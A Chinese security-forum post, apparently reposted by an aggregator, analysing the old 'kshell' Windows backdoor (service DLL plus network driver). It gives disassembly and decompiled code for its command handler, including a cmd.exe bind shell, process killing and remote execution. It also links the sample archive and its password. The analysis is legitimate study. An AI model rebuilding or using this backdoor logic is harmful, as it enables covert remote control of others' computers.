Quantcast
Channel: 看雪安全论坛
Viewing all articles
Browse latest Browse all 9556

木马相关 【原创】kshell backdoor分析,高手请绕行,内含福利 - -!

$
0
0
为了不得罪为了福利进来的高手,我首先要表示福利请看样本签名:cool:
由于样本年代过于久远,所以本文技术含量不高,发出来只是为了让我等菜鸟有一个共同学习提高的机会,顺便灌水毛个泡,潜了太久了。。。:o::o::o::o:

然后是正题:
   起因是某朋友说在服务器上抓到了只小马,怀疑是Gh0st(这种秒杀级的马为什么现在还可以这么流行,看来国内抄袭现象还是比较严重的)。
   后来看了一下朋友打包发过来的样本,发现我还是too young,too simple,这个马。。。年代差不多和Gh0st一样久远,难道真是网站管理员越来越懒了么。。。。

   马的架构:
   dll+sys
   sys文件负责网络通信
   dll以服务的形式注册,负责执行发送过来的指令,cd/md/rd/exec/各种,有个wget指令作者说在下一个版本中添加- -!

   稍微贴点代码,具体请参考压缩包内idb注释:
   入口ServiceMain,只贴重要的地方:
代码:

....
mov     _flag_stop_workthread, 0
push    0               ; lpThreadId
push    0               ; dwCreationFlags
push    0               ; lpParameter
push    offset StartAddress ; lpStartAddress//开启工作线程
push    0               ; dwStackSize
push    0               ; lpThreadAttributes
call    ds:CreateThread
....

   然后是这个工作线程:
代码:

.text:10004150                 call    sub_10001560    ; 驱动加载,并打开驱动句柄(hDevice)
.text:10004150                                         ; 成功返回:1
.text:10004150                                         ; 失败返回:0
.text:10004155                 test    eax, eax
.text:10004157                 jz      short loc_1000419B
.text:10004159                 push    edi
.text:1000415A                 mov     edi, offset aChkrootport ; "chkrootport"
.text:1000415F                 or      ecx, 0FFFFFFFFh
.text:10004162                 xor     eax, eax
.text:10004164                 repne scasb
.text:10004166                 not     ecx
.text:10004168                 dec     ecx
.text:10004169                 push    ecx             ; nInBufferSize
.text:1000416A                 push    offset aChkrootport ; "chkrootport"
.text:1000416F                 call    sub_10001600    ; 与驱动通信,检查rootport,但是驱动中好像没有检查
.text:1000416F                                         ; 站坑用的
.text:10004174                 call    sub_10003F10    ; 核心函数

   sub_10001560里面,无非就是FindResource,LoadResource,WriteFile生成sys,然后CreateFile打开一个和sys通信用的句柄hDevice。sub_10003F10才是关键:
代码:

.text:10003F10 sub_10003F10    proc near               ; CODE XREF: StartAddress+24p
.text:10003F10                 push    offset dword_10013630 ; int
.text:10003F15                 push    offset szBuf    ; lpszBuffer
.text:10003F1A                 call    sub_10001640    ; 从驱动中获取ip地址
.text:10003F1A                                         ; 传入:
.text:10003F1A                                         ;     param1:指向保存ip地址的内存
.text:10003F1A                                         ;     param2:unknow
.text:10003F1F                 add     esp, 8
.text:10003F22                 test    eax, eax
.text:10003F24                 jnz     short loc_10003F50
.text:10003F26
.text:10003F26 loc_10003F26:                           ; CODE XREF: sub_10003F10+3Ej
.text:10003F26                 push    10              ; dwMilliseconds
.text:10003F28                 call    Sleep
.text:10003F2D                 mov     eax, _flag_stop_workthread
.text:10003F32                 test    eax, eax
.text:10003F34                 jnz     locret_10004003
.text:10003F3A                 push    offset dword_10013630 ; int
.text:10003F3F                 push    offset szBuf    ; lpszBuffer
.text:10003F44                 call    sub_10001640    ; 从驱动中获取ip地址
.text:10003F44                                         ; 传入:
.text:10003F44                                         ;     param1:指向保存ip地址的内存
.text:10003F44                                         ;     param2:unknow
.text:10003F49                 add     esp, 8
.text:10003F4C                 test    eax, eax
.text:10003F4E                 jz      short loc_10003F26
.text:10003F50
.text:10003F50 loc_10003F50:                           ; CODE XREF: sub_10003F10+14j
.text:10003F50                 mov     eax, dword_10013630
.text:10003F55                 mov     dword_10013668, 0
.text:10003F5F                 push    eax
.text:10003F60                 push    offset szBuf
.text:10003F65                 push    offset aDoorIsBindOnSD ; "Door is bind on %s:%d\n"
.text:10003F6A                 call    _EAX_0
.text:10003F6F                 add     esp, 0Ch
.text:10003F72                 call    unknown_libname_1 ; Microsoft VisualC 2-10/net runtime
.text:10003F77                 call    sub_10004070    ; 解析网络参数
.text:10003F77                                         ; 收发数据
.text:10003F7C                 call    sub_10004140    ; 最终会导致执行传递过来的指令
.text:10003F81                 mov     eax, _flag_stop_workthread
.text:10003F86                 test    eax, eax
.text:10003F88                 jnz     short loc_10003FEC
.text:10003F8A
.text:10003F8A loc_10003F8A:                           ; CODE XREF: sub_10003F10+DAj
.text:10003F8A                 call    sub_10004020
.text:10003F8F                 push    offset unk_10AB54E0
.text:10003F94                 call    sub_10003D50
.text:10003F99                 mov     eax, dword_10013668
.text:10003F9E                 add     esp, 4
.text:10003FA1                 test    eax, eax
.text:10003FA3                 jz      short loc_10003FE3
.text:10003FA5                 push    offset dword_10013630 ; int
.text:10003FAA                 push    offset szBuf    ; lpszBuffer
.text:10003FAF                 call    sub_10001640    ; 从驱动中获取ip地址
.text:10003FAF                                         ; 传入:
.text:10003FAF                                         ;     param1:指向保存ip地址的内存
.text:10003FAF                                         ;     param2:unknow
.text:10003FB4                 add     esp, 8
.text:10003FB7                 test    eax, eax
.text:10003FB9                 jz      short loc_10003FE3
.text:10003FBB                 mov     ecx, dword_10013630
.text:10003FC1                 push    ecx
.text:10003FC2                 push    offset szBuf
.text:10003FC7                 push    offset aDoorIsBindOnSD ; "Door is bind on %s:%d\n"
.text:10003FCC                 call    _EAX_0
.text:10003FD1                 add     esp, 0Ch
.text:10003FD4                 call    sub_10004140    ; 最终会导致执行传递过来的指令
.text:10003FD9                 mov     dword_10013668, 0
.text:10003FE3
.text:10003FE3 loc_10003FE3:                           ; CODE XREF: sub_10003F10+93j
.text:10003FE3                                         ; sub_10003F10+A9j
.text:10003FE3                 mov     eax, _flag_stop_workthread
.text:10003FE8                 test    eax, eax
.text:10003FEA                 jz      short loc_10003F8A
.text:10003FEC
.text:10003FEC loc_10003FEC:                           ; CODE XREF: sub_10003F10+78j
.text:10003FEC                 push    offset unk_10AB54E0
.text:10003FF1                 call    sub_10003D40
.text:10003FF6                 push    offset aEthernetif_shu ; "ethernetif_shutdown\n"
.text:10003FFB                 call    _EAX_0
.text:10004000                 add     esp, 8
.text:10004003
.text:10004003 locret_10004003:                        ; CODE XREF: sub_10003F10+24j
.text:10004003                 retn

    sub_10004070负责和驱动通信,解析网络参数。sub_10004140会执行网络传过来的指令。看一下干活的地方:
代码:

// 后门功能函数,负责接收并执行指令
BOOL __thiscall sub_10002570(int this, LPCVOID lpBuffer, DWORD Size)
{
  ....
  v3 = this;
  if ( *(_DWORD *)(this + 72) )
  {
    v4 = *(_DWORD *)(this + 16);
    if ( v4 )
    {
      v5 = *(void **)(v4 + 16);
      NumberOfBytesWritten = 0;
      return WriteFile(v5, lpBuffer, Size, &NumberOfBytesWritten, 0);
    }
  }
  v7 = malloc(Size);
  memcpy(v7, lpBuffer, Size - 1);
  *((_BYTE *)v7 + Size - 1) = 0;
  v75 = v7;
  v61 = -1;
  v67 = 0;
  sub_10001C20(v7, &v67, &lpString1, 9);
  if ( !lstrcmpiA(lpString1, "CD") )
  {
    if ( v67 == 2 )
    {
      v61 = SetCurrentDirectoryA(Str);
LABEL_89:
      v32 = strlen("\n\n") + 1;
      v56 = 0;
      v33 = v32 - 1;
      if ( v32 != 1 )
      {
        v34 = (int)"\n\n";
        while ( (unsigned int)v33 >= 0x2000 )
        {
          while ( (unsigned __int8)sub_100021C0(v34, 8192) )
            Sleep(5u);
          v33 -= 8192;
          v34 += 8192;
          ++v56;
          if ( !v33 )
            goto LABEL_98;
        }
        while ( (unsigned __int8)sub_100021C0(&asc_10013450[8192 * v56], v33) )
          Sleep(5u);
      }
LABEL_98:
      if ( v61 )
      {
        if ( v61 == 1 )
        {
          sprintf(Dest, "Command \"%s\" succeed.", lpString1);
          v40 = 0;
          v41 = strlen(Dest) + 1;
          v58 = 0;
          v42 = v41 - 1;
          if ( v41 != 1 )
          {
            v43 = Dest;
            while ( (unsigned int)v42 >= 0x2000 )
            {
              while ( (unsigned __int8)sub_100021C0(v43, 8192) )
                Sleep(5u);
              v42 -= 8192;
              v43 += 8192;
              ++v58;
              if ( !v42 )
                goto LABEL_131;
              v40 = v58;
            }
            v44 = &Dest[8192 * v40];
            while ( (unsigned __int8)sub_100021C0(v44, v42) )
              Sleep(5u);
          }
        }
        else
        {
          sprintf(Dest, "Invalid Command \"%s\".", lpString1);
          v45 = strlen(Dest) + 1;
          v59 = 0;
          v46 = v45 - 1;
          if ( v45 != 1 )
          {
            v47 = Dest;
            while ( (unsigned int)v46 >= 0x2000 )
            {
              while ( (unsigned __int8)sub_100021C0(v47, 8192) )
                Sleep(5u);
              v46 -= 8192;
              v47 += 8192;
              ++v59;
              if ( !v46 )
                goto LABEL_131;
            }
            while ( (unsigned __int8)sub_100021C0(&Dest[8192 * v59], v46) )
              Sleep(5u);
          }
        }
      }
      else
      {
        sprintf(Dest, "Failed to process command \"%s\".", lpString1);
        v35 = 0;
        v36 = strlen(Dest) + 1;
        v57 = 0;
        v37 = v36 - 1;
        if ( v36 != 1 )
        {
          v38 = Dest;
          while ( (unsigned int)v37 >= 0x2000 )
          {
            while ( (unsigned __int8)sub_100021C0(v38, 8192) )
              Sleep(5u);
            v37 -= 8192;
            v38 += 8192;
            ++v57;
            if ( !v37 )
              goto LABEL_131;
            v35 = v57;
          }
          v39 = &Dest[8192 * v35];
          while ( (unsigned __int8)sub_100021C0(v39, v37) )
            Sleep(5u);
        }
      }
LABEL_131:
      v48 = strlen(off_1001318C[0]) + 1;
      NumberOfBytesWritten = (DWORD)off_1001318C[0];
      v49 = v48 - 1;
      v60 = 0;
      if ( v48 != 1 )
      {
        v50 = off_1001318C[0];
        while ( (unsigned int)v49 >= 0x2000 )
        {
          while ( (unsigned __int8)sub_100021C0(v50, 8192) )
            Sleep(5u);
          v49 -= 8192;
          v50 += 8192;
          ++v60;
          if ( !v49 )
            return sub_1000B2B5(v75);
        }
        while ( (unsigned __int8)sub_100021C0((v60 << 13) + NumberOfBytesWritten, v49) )
          Sleep(5u);
      }
      return sub_1000B2B5(v75);
    }
    v52 = strlen("Usage: CD <Directory>");
    v51 = (int)"Usage: CD <Directory>";
    goto LABEL_88;
  }
  if ( !lstrcmpiA(lpString1, "MD") || !lstrcmpiA(lpString1, "MKDIR") )
  {
    if ( v67 == 2 )
    {
      v61 = CreateDirectoryA(Str, 0);
      goto LABEL_89;
    }
    v52 = strlen("Usage: MD/MKDIR <Directory>");
    v51 = (int)"Usage: MD/MKDIR <Directory>";
    goto LABEL_88;
  }
  if ( !lstrcmpiA(lpString1, "PWD") )
  {
    GetCurrentDirectoryA(0x104u, &CommandLine);
    v8 = 0;
    v9 = strlen(&CommandLine) + 1;
    v66 = 0;
    v10 = v9 - 1;
    v53 = v9 - 1;
    if ( v9 != 1 )
    {
      v62 = (LONG)&CommandLine;
      while ( (unsigned int)v10 >= 0x2000 )
      {
        while ( 1 )
        {
          while ( *(_WORD *)(*(_DWORD *)v3 + 112) > 5u )
            Sleep(1u);
          ProcessInformation = v62;
          LOWORD(v69) = 8192;
          v70 = 0;
          hObject = CreateEventA(0, 0, 0, 0);
          InterlockedExchange((volatile LONG *)(v3 + 4), (LONG)&ProcessInformation);
          WaitForSingleObject(hObject, 0xFFFFFFFFu);
          InterlockedExchange((volatile LONG *)(v3 + 4), 0);
          CloseHandle(hObject);
          dword_1001735C = GetTickCount();
          if ( !(_BYTE)v70 )
            break;
          Sleep(5u);
        }
        v10 = v53 - 8192;
        v8 = (int)((char *)v66 + 1);
        v11 = v53 == 8192;
        v53 -= 8192;
        v66 = (HANDLE *)((char *)v66 + 1);
        v62 += 8192;
        if ( v11 )
        {
          v61 = 1;
          goto LABEL_89;
        }
      }
      v12 = &CommandLine + 8192 * v8;
      while ( (unsigned __int8)sub_100021C0(v12, v10) )
        Sleep(5u);
    }
    v61 = 1;
    goto LABEL_89;
  }
  if ( !lstrcmpiA(lpString1, "WGET") )
  {
    if ( v67 == 2 )
    {
      v52 = strlen("will support in new version");
      v51 = (int)"will support in new version";
    }
    else
    {
      v52 = strlen("Usage: WGET <URL>");
      v51 = (int)"Usage: WGET <URL>";
    }
    goto LABEL_88;
  }
  if ( !lstrcmpiA(lpString1, "EXEC") || !lstrcmpiA(lpString1, "RUN") )
  {
    if ( v67 == 2 )
    {
      v61 = WinExec(Str, 1u) > 0x1F;
    }
    else
    {
      v29 = strlen("Usage: EXEC/RUN <Filename>") + 1;
      v55 = 0;
      v30 = v29 - 1;
      if ( v29 != 1 )
      {
        v31 = (int)"Usage: EXEC/RUN <Filename>";
        while ( (unsigned int)v30 >= 0x2000 )
        {
          while ( (unsigned __int8)sub_100021C0(v31, 8192) )
            Sleep(5u);
          v30 -= 8192;
          v31 += 8192;
          ++v55;
          if ( !v30 )
            goto LABEL_89;
        }
        while ( (unsigned __int8)sub_100021C0(&aUsageExecRunFi[8192 * v55], v30) )
          Sleep(5u);
      }
    }
    goto LABEL_89;
  }
  if ( !lstrcmpiA(lpString1, "PS") )
  {
    v13 = sub_10001A60(0, 0);
    v14 = 2 * v13;
    v15 = (DWORD)malloc(2 * v13);
    v16 = v15;
    NumberOfBytesWritten = v15;
    v17 = sub_10001A60(v15, v14);
    v18 = 0;
    v66 = (HANDLE *)v17;
    v54 = 0;
    if ( v17 )
    {
      v63 = v16;
      while ( (unsigned int)v17 >= 0x2000 )
      {
        while ( 1 )
        {
          while ( *(_WORD *)(*(_DWORD *)v3 + 112) > 5u )
            Sleep(1u);
          ProcessInformation = v63;
          LOWORD(v69) = 8192;
          v70 = 0;
          hObject = CreateEventA(0, 0, 0, 0);
          InterlockedExchange((volatile LONG *)(v3 + 4), (LONG)&ProcessInformation);
          WaitForSingleObject(hObject, 0xFFFFFFFFu);
          InterlockedExchange((volatile LONG *)(v3 + 4), 0);
          CloseHandle(hObject);
          dword_1001735C = GetTickCount();
          if ( !(_BYTE)v70 )
            break;
          Sleep(5u);
        }
        v17 = (int)(v66 - 2048);
        v18 = v54 + 1;
        v11 = v66 == (HANDLE *)8192;
        v66 -= 2048;
        ++v54;
        v63 += 8192;
        if ( v11 )
          goto LABEL_41;
      }
      v19 = (v18 << 13) + NumberOfBytesWritten;
      while ( (unsigned __int8)sub_100021C0(v19, v17) )
        Sleep(5u);
    }
LABEL_41:
    sub_1000B2B5(NumberOfBytesWritten);
    v61 = 1;
    goto LABEL_89;
  }
  if ( !lstrcmpiA(lpString1, "KILL") )
  {
    if ( v67 == 2 )
    {
      sub_100019D0("SeDebugPrivilege", 1);
      v20 = atoi(Str);
      v21 = OpenProcess(0x1F0FFFu, 0, v20);
      v61 = TerminateProcess(v21, 0);
      CloseHandle(v21);
      sub_100019D0("SeDebugPrivilege", 0);
      goto LABEL_89;
    }
    v52 = strlen("Usage: KILL <Process_ID>");
    v51 = (int)"Usage: KILL <Process_ID>";
LABEL_88:
    sub_100031E0(v51, v52);
    goto LABEL_89;
  }
  if ( lstrcmpiA(lpString1, "SHELL") )
  {
    if ( lstrcmpiA(lpString1, "SHUTDOWN") )
    {
      if ( lstrcmpiA(lpString1, "REBOOT") )
      {
        if ( lstrcmpiA(lpString1, "EXIT") )
        {
          if ( !lstrcmpiA(lpString1, "HELP") || !lstrcmpiA(lpString1, "H") || !lstrcmpiA(lpString1, "?") )
          {
            sub_100031E0(off_10013190, strlen(off_10013190));
            v61 = 1;
          }
        }
        else
        {
          sub_100042E0(*(_DWORD *)v3);
          v61 = 1;
        }
      }
      else
      {
        sub_100019D0("SeShutdownPrivilege", 1);
        v61 = ExitWindowsEx(6u, 0);
      }
    }
    else
    {
      sub_100019D0("SeShutdownPrivilege", 1);
      v61 = ExitWindowsEx(0xCu, 0);
    }
    goto LABEL_89;
  }
  *(_DWORD *)(v3 + 72) = 1;
  v22 = operator new(0x2Cu);
  if ( v22 )
  {
    v23 = *(_DWORD *)v3;
    *((_DWORD *)v22 + 1) = 0;
    *(_DWORD *)v22 = v23;
    dword_1001735C = GetTickCount();
    *((_DWORD *)v22 + 2) = 180000;
    *((_DWORD *)v22 + 3) = 0;
    *((_DWORD *)v22 + 4) = 0;
    *((_DWORD *)v22 + 5) = 0;
    *((_DWORD *)v22 + 6) = 0;
    *((_DWORD *)v22 + 9) = 0;
    *((_DWORD *)v22 + 10) = CreateEventA(0, 1, 0, 0);
  }
  else
  {
    v22 = 0;
  }
  CommandLine = 0;
  memset(&v78, 0, 0x100u);
  v79 = 0;
  v80 = 0;
  StartupInfo.cb = 0;
  *(_DWORD *)(v3 + 16) = v22;
  memset(&StartupInfo.lpReserved, 0, 0x40u);
  v69 = 0;
  v24 = (HANDLE *)((char *)v22 + 24);
  v70 = 0;
  ProcessInformation = 0;
  hObject = 0;
  PipeAttributes.nLength = 12;
  PipeAttributes.lpSecurityDescriptor = 0;
  PipeAttributes.bInheritHandle = 1;
  NumberOfBytesWritten = (DWORD)((char *)v22 + 12);
  if ( CreatePipe((PHANDLE)v22 + 3, (PHANDLE)v22 + 6, &PipeAttributes, 0) )
  {
    v66 = (HANDLE *)((char *)v22 + 16);
    v64 = (HANDLE *)((char *)v22 + 20);
    if ( CreatePipe((PHANDLE)v22 + 5, (PHANDLE)v22 + 4, &PipeAttributes, 0) )
    {
      memset(&StartupInfo, 0, sizeof(StartupInfo));
      ProcessInformation = 0;
      v69 = 0;
      v70 = 0;
      hObject = 0;
      GetStartupInfoA(&StartupInfo);
      StartupInfo.hStdInput = *v64;
      v27 = *v24;
      StartupInfo.cb = 68;
      StartupInfo.wShowWindow = 0;
      StartupInfo.dwFlags = 257;
      StartupInfo.hStdError = v27;
      StartupInfo.hStdOutput = v27;
      ExpandEnvironmentStringsA("%ComSpec%", &CommandLine, 0x104u);
      if ( CreateProcessA(
             0,
             &CommandLine,
             0,
             0,
             1,
             0x20u,
             0,
             0,
             &StartupInfo,
             (LPPROCESS_INFORMATION)&ProcessInformation) )
      {
        v28 = v69;
        *((_DWORD *)v22 + 7) = ProcessInformation;
        *((_DWORD *)v22 + 8) = v28;
        *((_DWORD *)v22 + 9) = CreateThread(0, 0, sub_10003380, v22, 0, 0);
      }
      else
      {
        CloseHandle(*(HANDLE *)NumberOfBytesWritten);
        CloseHandle(*v66);
        CloseHandle(*v64);
        CloseHandle(*v24);
      }
    }
    else
    {
      v26 = (void *)*((_DWORD *)v22 + 4);
      if ( v26 )
        CloseHandle(v26);
      if ( *v64 )
        CloseHandle(*v64);
    }
  }
  else
  {
    if ( *(_DWORD *)NumberOfBytesWritten )
      CloseHandle(*(HANDLE *)NumberOfBytesWritten);
    v25 = *v24;
    if ( v25 )
      CloseHandle(v25);
  }
  return sub_1000B2B5(v75);
}

解压密码:M$croS0Ft_

上传的附件
文件类型: rar bkd.rar (475.7 KB)

Viewing all articles
Browse latest Browse all 9556

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>